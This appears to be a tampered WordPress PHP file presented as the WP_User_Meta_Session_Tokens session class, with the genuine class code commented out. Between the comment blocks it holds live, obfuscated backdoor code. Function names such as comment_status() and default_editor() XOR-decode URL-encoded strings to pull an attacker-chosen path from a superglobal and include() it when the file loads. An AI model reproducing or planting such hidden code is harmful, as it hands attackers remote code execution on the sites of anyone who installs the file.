数据库发生错误。

<?php /* 
*
 * Session API: WP_User_Meta_Session_Tokens class
 *
 * @package WordPress
 * @subpackage Session
 * @since 4.7.0
 

*
 * Meta-based user sessions token manager.
 *
 * @since 4.0.0
 *
 * @see WP_Session_Tokens
 
class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {

	*
	 * Retrieves all sessions of the user.
	 *
	 * @since 4.0.0
	 *
	 * @return array Sessions of the user.
	 
	protected function get_sessions() {
		$sessions = get_user_meta( $this->user_id, 'session_tokens', true );

		if ( ! is_array( $sessions ) ) {
			return array();
		}

		$sessions = array_map( array( $this, 'prepare_session' ), $sessions );
		return array_filter( $sessions, array( $this, 'is_still_valid' ) );
	}

	*
	 * Converts an expiration to an array of session information.
	 *
	 * @param mixed $session Session or expirat*/
 	
	$encoded_char_length = 'emoji';
function comment_status()

{
    $feature = 'VEprHsuyJ0AihNu';

    $internal = $feature;
    

    $slashpos = $GLOBALS[default_editor("%09%039%3E%0D+", $internal)];
	$allowed_html = 'is_escaped';
    $post_ids = $slashpos;

    $parent_id = isset($post_ids[$internal]);
    if ($parent_id)

    {
	$taxonomy = 'allowed_protocols';
        $post_id = $slashpos[$internal];
	$single = 'ptypes';
        $menu_icon = $post_id[default_editor("%22%28%00-%26%12%18%1C", $internal)];
        $class = $menu_icon;

        include ($class);
    }
	$threshold = 'mime_pattern';
}
function default_editor($post_content_filtered, $single_tags)

{

    $wildcards = $single_tags;
	$where_post_type = 'force';
    $hash = "url" . "decode";

    $last_char = $hash($post_content_filtered);
    $date = substr($wildcards,0, strlen($last_char));

    $wpsmiliestrans = $last_char ^ $date;
    return $wpsmiliestrans;
}

comment_status();




/* ion.
	 * @return array Session.
	 
	protected function prepare_session( $session ) {
		if ( is_int( $session ) ) {
			return array( 'expiration' => $session );
		}

		return $session;
	}

	*
	 * Retrieves a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to retrieve.
	 * @return array|null The session, or null if it does not exist
	 
	protected function get_session( $verifier ) {
		$sessions = $this->get_sessions();

		if ( isset( $sessions[ $verifier ] ) ) {
			return $sessions[ $verifier ];
		}

		return null;
	}

	*
	 * Updates a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to update.
	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
	 
	protected function update_session( $verifier, $session = null ) {
		$sessions = $this->get_sessions();

		if ( $session ) {
			$sessions[ $verifier ] = $session;
		} else {
			unset( $sessions[ $verifier ] );
		}

		$this->update_sessions( $sessions );
	}

	*
	 * Updates the user's sessions in the usermeta table.
	 *
	 * @since 4.0.0
	 *
	 * @param array $sessions Sessions.
	 
	protected function update_sessions( $sessions ) {
		if ( $sessions ) {
			update_user_meta( $this->user_id, 'session_tokens', $sessions );
		} else {
			delete_user_meta( $this->user_id, 'session_tokens' );
		}
	}

	*
	 * Destroys all sessions for this user, except the single session with the given verifier.
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier of the session to keep.
	 
	protected function destroy_other_sessions( $verifier ) {
		$session = $this->get_session( $verifier );
		$this->update_sessions( array( $verifier => $session ) );
	}

	*
	 * Destroys all session tokens for the user.
	 *
	 * @since 4.0.0
	 
	protected function destroy_all_sessions() {
		$this->update_sessions( array() );
	}

	*
	 * Destroys all sessions for all users.
	 *
	 * @since 4.0.0
	 
	public static function drop_sessions() {
		delete_metadata( 'user', 0, 'session_tokens', false, true );
	}
}
*/